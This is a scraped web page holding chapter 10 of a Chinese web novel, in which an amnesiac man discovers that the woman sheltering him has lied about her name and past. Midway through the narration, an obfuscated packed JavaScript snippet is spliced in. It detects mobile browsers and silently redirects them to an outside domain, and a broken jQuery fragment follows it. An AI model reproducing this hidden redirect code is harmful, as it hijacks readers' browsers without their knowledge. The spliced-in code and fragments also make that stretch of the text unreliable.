默认冷灰
24号文字
方正启体

10. 第 10 章

作者:脆桃卡里本书字数:K更新时间:
    在小珠家度过的第五天,霍临已经住得很习惯。


    他身上的伤自愈的进度很快,只是记忆尚未恢复,好在暂时没有什么影响,至少对智力没有什么损害。


    为了决定谁去倒垃圾,小珠和他玩猜硬币,霍临猜了三次都错,目光淡淡地扫她一眼,一把扣住了她的手腕。


    小珠被他弄得一阵紧张,含笑抱怨:“输不起啊?”


    霍临用掌心包住她的手,一根一根掰开了她的手指,露出里面的一小块磁铁。


    “你作弊。”


    小珠被拆穿,心虚得有些不悦,扭过脸,呼吸从霍临脸侧擦过:“那又怎么了,反正我赢了。”


    霍临站得更近了,手心也攥得很牢:“不守规矩,不算。”


    “玩游戏而已,你——”小珠恼怒地推他,抬头对上霍临的眼睛。


    锐利又清明,和这几天里与她共处的霍临不大一样,而像是,初见那日。


    第一次见面,霍临也是这样毫不留情地抓住了她的把柄。


    小珠忽地一颤,忍不住脱口而出:“你哪来这么强的正义感?”


    “不对就是不对。”霍临的目光中带着审视,视线在小珠面容上一寸寸剖析。


    小珠用力推开他,自己踉跄着后退一步,提起垃圾袋下楼。


    今日有风,小珠冷不丁被吹得头发凌乱,打了个哆嗦。


    在此之前,她从没考虑过,等到霍临恢复记忆那天,发现她所说的全部都是骗局,她不是什么好心人,只是一个被他亲手抓住过的小偷,会怎么样。


    等到小珠慢吞吞地上楼,发现霍临还站在远处,好像在发呆,刚刚捏在小珠手腕上的手指收拢了,放在一起慢慢摩挲。


    看见小珠关上门进来,霍临隔着几米的距离看向她。


    小珠也默默地和他对视着,两个人不知为何谁都没有说话。小珠转身进了卧室。


    那天晚上霍临做了一个梦。


    梦里是个很美的黄昏,船桨搅起的水波将倒映的云影揉皱,湖面泛起碎金,梦里有他,还有小珠,和小珠曾对他描述的一样,应该是一个很美好的下午。


    不过也有不一样的地方。


    他跟小珠不知为何隔得很远,他在湖中,小珠在人影模糊的岸边,瘦小地缩成一团。那么多云影一样的人里,他一眼就看到小珠,一直在看小珠。后来好像出声叫了她,小珠朝他回过头。


    再下一秒,画面就转向了漆黑的深夜。


    之前平静的水面在月光下化作翻涌的白色浪花,混乱的场景之中,手木仓森森的洞口很清晰。他弯腰偏身躲过,被机械摆臂撞进深深的河水里,这些场景和他之前模糊的记忆接续上了,而且这一次,还看到了更多的细节。


    霍临睁开了眼。


    客厅连着阳台的窗帘还紧紧拉着,卧室里的窗帘已经束了起来,阳光明亮地洒进来。霍临看了一眼时间,九点二十八分。


    这一觉睡得太沉,小珠已经出门上工去了,屋内只有霍临一个人。


    霍临在折叠床上坐起来,脑袋又隐隐作痛,心情也有点烦闷,有些责怪梦没逻辑,内容变得太快,没能让他看到小珠回头看他对他微笑的表情。


    等到洗漱完毕,霍临才发现门边有一张遗漏的单据,大约是小珠出门时落下的。


    昨天小珠有提起过今天要去续交管理费,漏了这张也不知道有没有影响。


    霍临捡起单据,本想给小珠发信息说明,转念一想,还是决定自己代劳。


    他拿起手机打开翻译器,对准单据拍了张照,试图找到缴费公告详细信息。


    等待翻译结果跳出来的两秒钟里,霍临的心情尚且平静,但很快如同一枚落进湖中的石子,一点点往下沉。


    缴费单上详细列出了居住期间会产生的费用清单,并规定要求屋主带着本人证件前去办理,这些都没有问题,然而在最上面的名字栏里,写的并不是“小珠”。


    温芝,霍临看着这个翻译出来的名字,感到一阵荒谬的陌生。


    这难道是小珠的另一个名字吗?霍临在原地顿了半晌,把单据放在了桌上,走进了卧室。


    霍临身体里似乎有一种求真的本能,他环视一圈这间小小的卧室,可以收纳东西的地方并不多。


    他拉开柜门,挨个抽屉翻找,开了几个布满灰尘的空落落的抽屉之后,终于找到了一个堆满杂物的抽屉。


    霍临从中翻找出几个东西,拿起来看。


    一封寺庙布施感谢信、一张红色的草纸,用来展示出席者姓名、一个铜制的铭牌,霍临用手机一一扫过,翻译器里跳出来的名字都是同一个,温芝。


    这个房子里只有温芝的痕迹,小珠这个名字像被编撰出来的幻影。


    难道这段时间以来,小珠连真正的名字都没有告诉过他吗?


    或者,有没有可能这间房子除了小珠以外,还住着一个叫温芝的人。


    霍临当然希望是后者,这样的话,小珠至少没有连名字也欺骗他,然而心中始终惴惴不定。


    他不想再追究了,把东西全都收回抽屉里推回合上,薄薄的木板却被卡住。


    霍临蹙着眉,伸手摸了摸,从里面拿出那个罪魁祸首,是一个没上锁的铁皮盒子,打开来,里面放着一张旧照片。


    照片很旧很小,照片里的人却笑得很开心。


    小小的脸,漂亮的五官,眼睛像月牙,两只手捧成花朵的形状,往上高高举着一块绵羊形状的石头,仿佛那是什么了不起的至宝。


    霍临看着照片里很小的女孩子,也不知道看了多久,终于,他把照片翻到背面。背面上有一行已经变得模糊的字迹,翻译器恐怕已经识别不了。


    但霍临已经不需要再用翻译器,这串缅文他刚刚已经看到很多遍,无一例外,都是“温芝”。


    这场探查终于尘埃落定。


    一个人如果存在,怎么会没有任何痕迹?这里没有小珠,只有温芝。


    霍临感到一种愤怒在堆积,他恐怕天性里就有厌恶被骗的基因,尤其是被小珠欺骗。


    不论是出于安全考虑,还是基本权利问题,霍临认为自己都有调查清楚这个同居人真正身份的充足理由,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647428|172764||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    于是他决定翻找这个房子里的每一处地缝,每一根水管也不会放过。


    今天许多地方在过泼水节,坐船去旅游景点反而游客变少,小珠得以提早放工,立刻赶去了南达的学校。


    学校里的玛敏敏老师认识她,直接把她放进了学校,还喜气洋洋地祝她节日快乐。


    小珠也祝福她,在漆成淡黄色的砖木校舍间找到了南达。


    南达身材高挑,颜色秀丽,又广结人缘,在这种庆典的日子里尤其受欢迎,正在临时搭建的舞台上表演歌舞。


    一曲舞毕,她轻盈地行礼,底下的人不断鼓掌喝彩给她捧场,合拢手心放到嘴巴前面大喊,不愧是船老板的女儿!


    南达在欢呼声中羞涩地退场,被小珠在林子里拦住。


    “又是你!”南达已经很反感她。


    “你违背约定,一直没请玛敏敏老师联系我,我才不得不来找你。你到现在也没有见到你母亲吗?”单独面对南达的时候,小珠也算不上很客气。


    “没有。”南达冷酷地回答,让小珠失望至极,但立刻又给了她一个新的答案,“但是我知道她去了哪里。”


    “快说!”


    “她和我父亲出海了。”南达眉飞色舞,显然很高兴,“她最近可能表现不错,让我父亲对她比较满意,愿意奖赏她。她早该这样学聪明点。”


    出海了……小珠犹豫地问:“你确定吗?”


    “当然!我给父亲打了电话,他亲口回答我的,他们去见‘白象’了。”


    南达说到白象时,刻意把语调放得又轻松又熟稔,仿佛掌握这种暗语对她而言已是稀松平常,因此能生出许多得意。


    “白象”是个尊敬的称号,控制着附近几个码头的税收,管理所有的游船,小珠在工作的那条属于南达父亲的船,也在其中。


    听南达说得有鼻子有眼,小珠终于信了八成。


    原来是这样,那只要等到吴丹威回来的那日,玛温就会一起回来。


    玛温应该会高兴吧,至少能让怀中的胎儿和生父待在一起。那玛温喝上了吴丹威吩咐的鲈鱼汤吗?


    -


    今日的天很阴,到了下午,楼房之间就变得沉沉的,再透不进来新鲜的光亮。


    霍临刚洗干净手,坐在靠窗的椅子上发呆,目光空茫茫地落在外面不知何处,反应迟钝的水龙头还在往下滴水,一颗一颗敲打着洗手台,发出破碎的声响。


    屋里的光线更加蒙昧,地上散落着乱七八糟的东西,像被匪徒洗劫过一样。


    即便这个屋子穷得根本没有可以被洗劫的价值,那些散乱的物品也不过是些不值钱的旧物。


    吃空的药瓶、廉价的玫瑰香薰、颜色艳俗的口红、亮片短裙和烟盒。


    风从窗口钻进来,让霍临身后桌上那本遍布折痕旧病历刮着桌面哗啦作响。


    打印字体清晰明确。


    住院。流产。温芝。圆形红色贴纸。高风险性行为。性工作者。


    霍临沉寂地坐了半晌,终于站起身,无声把所有物品收拢,按照记忆一一精准地放归原处。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)